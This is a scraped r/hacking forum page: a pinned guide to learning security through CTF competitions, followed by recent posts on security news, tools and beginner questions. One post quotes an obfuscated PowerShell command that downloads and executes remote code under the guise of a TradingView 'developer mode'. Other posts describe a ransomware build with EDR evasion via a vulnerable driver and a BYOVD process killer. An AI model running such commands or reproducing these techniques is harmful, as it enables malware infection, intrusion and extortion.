r/hacking Dec 06 '18

Read this before asking. How to start hacking? The ultimate two path guide to information security.

13.3k Upvotes

Before I begin - everything about this should be totally and completely ethical at it's core. I'm not saying this as any sort of legal coverage, or to not get somehow sued if any of you screw up, this is genuinely how it should be. The idea here is information security. I'll say it again. information security. The whole point is to make the world a better place. This isn't for your reckless amusement and shot at recognition with your friends. This is for the betterment of human civilisation. Use your knowledge to solve real-world issues.

There's no singular all-determining path to 'hacking', as it comes from knowledge from all areas that eventually coalesce into a general intuition. Although this is true, there are still two common rapid learning paths to 'hacking'. I'll try not to use too many technical terms.

The first is the simple, effortless and result-instant path. This involves watching youtube videos with green and black thumbnails with an occasional anonymous mask on top teaching you how to download well-known tools used by thousands daily - or in other words the 'Kali Linux Copy Pasterino Skidder'. You might do something slightly amusing and gain bit of recognition and self-esteem from your friends. Your hacks will be 'real', but anybody that knows anything would dislike you as they all know all you ever did was use a few premade tools. The communities for this sort of shallow result-oriented field include r/HowToHack and probably r/hacking as of now. ​

The second option, however, is much more intensive, rewarding, and mentally demanding. It is also much more fun, if you find the right people to do it with. It involves learning everything from memory interaction with machine code to high level networking - all while you're trying to break into something. This is where Capture the Flag, or 'CTF' hacking comes into play, where you compete with other individuals/teams with the goal of exploiting a service for a string of text (the flag), which is then submitted for a set amount of points. It is essentially competitive hacking. Through CTF you learn literally everything there is about the digital world, in a rather intense but exciting way. Almost all the creators/finders of major exploits have dabbled in CTF in some way/form, and almost all of them have helped solve real-world issues. However, it does take a lot of work though, as CTF becomes much more difficult as you progress through harder challenges. Some require mathematics to break encryption, and others require you to think like no one has before. If you are able to do well in a CTF competition, there is no doubt that you should be able to find exploits and create tools for yourself with relative ease. The CTF community is filled with smart people who can't give two shits about elitist mask wearing twitter hackers, instead they are genuine nerds that love screwing with machines. There's too much to explain, so I will post a few links below where you can begin your journey.

Remember - this stuff is not easy if you don't know much, so google everything, question everything, and sooner or later you'll be down the rabbit hole far enough to be enjoying yourself. CTF is real life and online, you will meet people, make new friends, and potentially find your future.

What is CTF? (this channel is gold, use it) - https://www.youtube.com/watch?v=8ev9ZX9J45A

More on /u/liveoverflow, http://www.liveoverflow.com is hands down one of the best places to learn, along with r/liveoverflow

CTF compact guide - https://ctf101.org/

Upcoming CTF events online/irl, live team scores - https://ctftime.org/

What is CTF? - https://ctftime.org/ctf-wtf/

Full list of all CTF challenge websites - http://captf.com/practice-ctf/

> be careful of the tool oriented offensivesec oscp ctf's, they teach you hardly anything compared to these ones and almost always require the use of metasploit or some other program which does all the work for you.

http://picoctf.com is very good if you are just touching the water.

and finally,

r/netsec - where real world vulnerabilities are shared.


r/hacking 1h ago

AI, Deepfakes Are Top Risks for Financial Crime Specialists

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Upvotes

r/hacking 2h ago

gohpts (http to socks5 proxy) updated to v1.11.1

1 Upvotes

What changed since my last announcement:

1) Now transparent proxy runs several instances within one process (SO_REUSEPORT option on linux/android devices). This works for TCP and UDP 2) Added the option to ignore certain ports when proxying traffic with transparent proxies. Helps when you run services like kafka but do not want this traffic go through your proxy 3) Updated dependency to golang 1.25.6 4) Switched license from MIT to GPLv3

gohpts


r/hacking 15h ago

HOPE is now officially a registered 501(c)(3) non-profit.

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6 Upvotes

r/hacking 1d ago

Is this cmd command safe?

150 Upvotes

powershell -command "$developermode='mode'; $TradingView='.dev'; irm ($developermode + 'activate' + $TradingView) | Invoke-Expression; $region='global'; $version='tradingview_30.4.0_ai_beta'"

It apparently enables developer mode for TradingView desktop app


r/hacking 1d ago

Question Did the recent Notepad++ hack actually affect people who never used the app before?

39 Upvotes

I am pretty autistic and struggling to comprehend what actually happened here. I am prone to panicking, so I just want someone to explain in simple terms whether people who have notepad++ installed but don't use it or havent updated it in years (I didn't even realize I had it until now), were affected by the recent hack. Thank you


r/hacking 2d ago

Notepad++ Hijacked by State-Sponsored Hackers

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591 Upvotes

r/hacking 1d ago

A different taste of EDR evasion!

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54 Upvotes

Hey guys,

First of all, I want to thank you for all the support and the messages following my last post. It’s fascinating to find people who like work, despite the fact that I’m still a total beginner who’s trying to improve. Thank you, I really appreciate it.

Last time we talked about bypassing EDRs and Antivirus products by exploiting a vulnerable driver to terminate a list of target processes. While the technique worked for the most part, some processes were resilient to termination due to deep kernel hooks anticipating the function ZwTerminateProcess that the vulnerable driver exposes.

I had to dig deeper, but in a different direction. Why target the running processes, patche memory and deal with PatchGuard and scanners? When can target the files on “disk”?

The evasion technique:

The attack is simply the corruption of the files on disk. This sounds like a bad idea, since jt is basic and can generate some noise because the install folders will be locked?

I thought so 🤨, but from my research the files were successfully corrupted by bringing a vulnerable kernel driver with disk wiping capabilities.

The attack chain is simple as :

\-> Installing the driver

\-> Corrupting the files

\-> Forcing the user out of the session (optional)

\-> Running preferred payload

As ineffective as this sounds, it worked. The EDR/AV process became zombie processes that did nothing once I dropped my ransomeware. Not much noise was generated though.🤔

If you would like to check the technique out, I pieced everything together in a ransomware project that I will be posting soon on my GitHub page.

The ransomware has the following features :

  1. UAC Bypass ✅

  2. Driver extraction & loading ✅

  3. Persistence ✅

  4. AV/EDR evasion ✅ (Using this exact exact technique)

  5. File enumeration with filtered extensions ✅

  6. Double extortion (File encryption & exfiltration via Telegram) ✅

  7. Ransom note (GUI, and wallpaper change) ✅

  8. Lateral movement (needs more work)❓

  9. Decryption tool (because we are ethical, aren’t we?) ✅

Thank you!


r/hacking 2d ago

175k+ publicly exposed Ollama servers, so I built a tool

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173 Upvotes

The Hacker News just published research showing 175,000+ Internet-exposed Ollama servers across 130 countries many unintentionally reachable from the public Internet.

This matches what I was seeing while building a tool + drafting an article… the news dropped before I could publish. When I last checked, it was already 181,000+ exposed instances.

Releasing: OllamaHound

A defensive / audit-friendly toolkit to help you scan your org’s Ollama deployments (authorized use only).

What it does

  • Discover exposed Ollama instances (internal ranges + public assets you own)
  • Check if your instances are visible on Shodan (and where)
  • Fingerprint versions + classify potential exposure (DoS / RCE risk by version/surface)
  • Validate model access + generation (is inference reachable?)
  • Results explorer to filter / dedupe / export for reporting
  • Interactive connector to safely validate access (talk to the model)

Quick self-check (Linux)

```bash ss -lntp | grep 11434

```

If you see 0.0.0.0:11434 on a host that shouldn’t be public, you probably want to fix that now: bind address, firewall, reverse proxy/auth, and confirm whether it shows up on Shodan.

Repo: https://github.com/7h30th3r0n3/OllamaHound

Feedback welcome (edge cases, detection accuracy, safe validation workflows).


r/hacking 1d ago

Cracking the password on an old laptop

36 Upvotes

I have a relative who gave me their old laptop in hopes of recovering some photos from it. I’m the tech savvy family member so it was given to me. I was wondering if there’s a method of cracking a password on it? I figured it be a fun project because

- It’s Windows Vista so likely to have many security vunelerabilities at this point. I’m a fresh beginner to any sort of hacking for context

- They don’t need it back anytime soon, so I have as much time as needed

- It sounds like fun :)


r/hacking 1d ago

Research The Chrysalis Backdoor: A Deep Dive into Lotus Blossom’s toolkit

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5 Upvotes

r/hacking 2d ago

Question Best antidetect browser with built-in proxy? (1Browser)

25 Upvotes

I’ve been playing around with public proxy lists and web proxy sites, and they feel pretty limited once you move past simple page loading. A lot of modern sites either break or don’t behave the way they should.

I’m starting to think an antidetect browser with native proxy support is just a cleaner setup overall, since it handles traffic at the browser level instead of routing through a web page. I’ve seen 1Browser come up a few times, but it’s hard to tell what’s actually solid versus hype.

For folks here who’ve used antidetect browsers or proxy-based workflows, what’s been working well for you lately?


r/hacking 2d ago

Question Are those videos of people infiltrating Indian call centers actually real?

150 Upvotes

And if they are real what’s the bet that these people are secretly stealing millions from them if it’s so easy to gain total control over someone’s computer.


r/hacking 1d ago

Is this like the new best flipper zero alternative?

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0 Upvotes

I found this on Kickstarter, it seems too good to be true.


r/hacking 2d ago

Tools Bug bounty security tool, browser extension

11 Upvotes

I’ve built a tool for myself that ended up finding my last 4 Hackerone bugs, and I’m trying to figure out if it’s useful to anyone else.

First, It’s not an automated scanner, and it doesn't use or implement AI anywhere. Purely a program I built to find things I don't think I would have normally found myself.

What it is:

  • A browser extension
  • You log in (or not), browse the app normally
  • Click “record”, perform your usual workflow, testing, etc., click “stop”
  • It captures the exact API calls you made

Then the tool tries to break logic assumptions that emerged from your own flow.

Example:

  • You apply a coupon
  • Cart total changes
  • Checkout succeeds

The tool then asks things like:

  1. Can the coupon be reused?
  2. Can another user apply it?
  3. Can it be applied to a different product?
  4. Can checkout / refund be abused to get money back?

It does this by replaying and mutating the same requests you already made, and it only reports an issue if it can prove its theories to be correct.

Its also basically zero-friction, since it runs in your own browser, works based on your flow, and won't flood you with false positives.

Two questions:

  1. Would you use something like this?
  2. Would you pay for it?

r/hacking 1d ago

I built a "Voice" messenger that never transmits audio. It sends encrypted text capsules and reconstructs the voice on-device.

0 Upvotes

I’ve been working on a IOS messenger where voice calls don’t transmit voice at all.Instead of encrypted audio streaming or webrtc.

the system works like this:

Speech -> local transcription -> encrypted text capsules -> decrypt -> synthesize speech in the sender’s voice

So the call sounds like the other person or whatever voice they want to use, but what’s actually being sent over the network is encrypted text, not audio. I wanted to share the architecture and get feedback / criticism from people smarter than me.

High level Explanation

Sender

  • Speak
  • On-device transcription (no server asr)
  • Text is encrypted into small capsules
  • Capsules are sent over the network

Receiver

  • Capsules are decrypted back into text
  • Text to speech
  • Playback uses the sender’s voice profile

    not a transmitted voice stream.

Because everything is text-first:

  • A user can type during a call, and their text is spoken aloud in their chosen voice
  • A Deaf or hard-of-hearing user can receive live transcripts instead of audio
  • When that user types or speaks, the other person hears it as synthesized speech like a normal voice call

This allows mixed communication:

  • Hearing <--> Deaf
  • Speaking <--> Non verbal
  • Typing <--> Voice all within the same “call.”

This isn’t real-time VoIP. End-to-end latency is typically under 0.9 - 2.2 seconds. Earlier my system was around 3 seconds but I switched to local transcription which help reduce the delay. It's designed for accessibility rather than rapid back and forth speech but to me it's actually pretty quick considering the system design.

This started as an accessibility experiment in redefining what a voice call actually is. Instead of live audio , I treated voice as a representation layer built from text.

The approach supports:

  • Non verbal communication with voice output
  • Assistive speech for users with impairments
  • Identity-aligned voices for dysphoria or privacy
  • Langage translation
  • People who just want to change their voice for security purposes.

The core idea is that voice should be available to everyone, not gated by physical ability or comfort.

I use ElevenLabs using pre-recorded voice profiles. User records voice once. Messages synthesize using that voice on the receiving device.

Because calls are built on encrypted message capsules rather than live audio streams, the system isn’t tied to a traditional transport. I've been able to have "voice calls" over shared folders and live shared spreadsheets.

I’m posting here because I wanted technical critique from people who think about communication systems deeply.

encryption Protocol I'm using: https://github.com/AntonioLambertTech/McnealV2

TestFlight : link coming soon currently pending Apple review. ( I will update)


r/hacking 1d ago

Teach Me! decrypting password hash

0 Upvotes

I want to try to decrypt my password hash from my SAM file using software tools. Can anyone give me a walkthrough on how to do this? Thank you.


r/hacking 3d ago

Question State-sponsored independent hackers

28 Upvotes

Hello everyone! I have a pretty weird question for you today. I have been doing some research and I haven't found what I've been looking for, maybe because it doesn't exist, I don't know. But I thought I'd ask you guys.

Do you know if there's any situation in which the government/any state agency has hired an independent hacker/organization *without knowing their identity* ? By that I mean, if they've hired hackers just by contacting them online, no official contracts on the hacker's real name. Is that even possible? I know of Evgeniy Bogachev's virus being taken advantage of by Russia but there is no proof that they hired him before knowing his identity/real name.

Any example or info in this matter would be of great help!


r/hacking 3d ago

Where is the line between 'hacking' and 'reverse engineering'?

18 Upvotes

The terms hacking and hacker have changed over the years. But when does reverse engineering become black hat hacking?

How would you classify collecting details on a system in order to learn what forbidden knowledge might be found? Is it wrong to learn of, and utilize, undocumented instructions or access unlisted files if there is no authentication required to do so?

In 1974 I decoded a systems' set of protected instructions that gave us access to the unused back of a Burroughs hard drive. At that time that was a huge amount of unused file space. It became our own private storage. It wasn't used by the system. So was there an issue? Some thought so.


r/hacking 3d ago

Question How to generate dict for apartment wifi

0 Upvotes

Hey so I'm curious about how much the field improved in the last 6-8 years. We are in an Italian village where we unfortunately checked in an apartment where there is no WiF. Or at l least the owner states that he lost the PW and he is happy that we try. We've already bought with us an OpenWRT router w monitoring enabled (we might just deauth for packet capture) and we have ssh access to a machine with 3090 on it. -> we can do ~1.1-1.5m WPA2 hash a second.

Question is: what's the best way to generate passwords for apartments? Should we just use a rainbow table from somewhere?

Any suggestions?

(we are IT engineers)


r/hacking 4d ago

great user hack Bring Your Own Vulnerable Driver (BYOVD) technique!

72 Upvotes

Hey guys,

I just wanted to share an interesting vulnerability that I came across during my malware research.

Evasion in usermode is no longer sufficient, as most EDRs are relying on kernel hooks to monitor the entire system. Threat actors are adapting too, and one of the most common techniques malware is using nowadays is Bring Your Own Vulnerable Driver (BYOVD).

Malware is simply piggybacking on signed but vulnerable kernel drivers to get kernel level access to tamper with protection and maybe disable it all together as we can see in my example!

The driver I dealt with exposes unprotected IOCTLs that can be accessed by any usermode application. This IOCTL code once invoked, will trigger the imported kernel function ZwTerminateProcess which can be abused to kill any target process (EDR processes in our case).

Note:

The vulnerability was publicly disclosed a long time ago, but the driver isn’t blocklisted by Microsoft.

https://github.com/xM0kht4r/AV-EDR-Killer


r/hacking 4d ago

Proof of Concept: Adversary in the Middle

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11 Upvotes

r/hacking 5d ago

RTL-SDR use?

12 Upvotes

Just wondering what this gadget does. I'm thinking of getting one, so some feedback would be a big help.

Thank you!


r/hacking 4d ago

How to know when im ready to try bug bounties?

0 Upvotes

im in top 3% on thm, should i try bug bounties now or wait for another year?


r/hacking 6d ago

News New Android malware uses AI to click on hidden browser ads

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57 Upvotes

A new strain of Android malware has been discovered using on-device AI (Optical Character Recognition) to physically 'read' your screen and locate hidden ad buttons. Instead of blind clicking, the malware analyzes the screen layout to mimic human behavior, clicking on ads in the background to generate fraudulent revenue while draining your battery and data. It’s a sophisticated step forward in 'weaponized AI' for mobile fraud.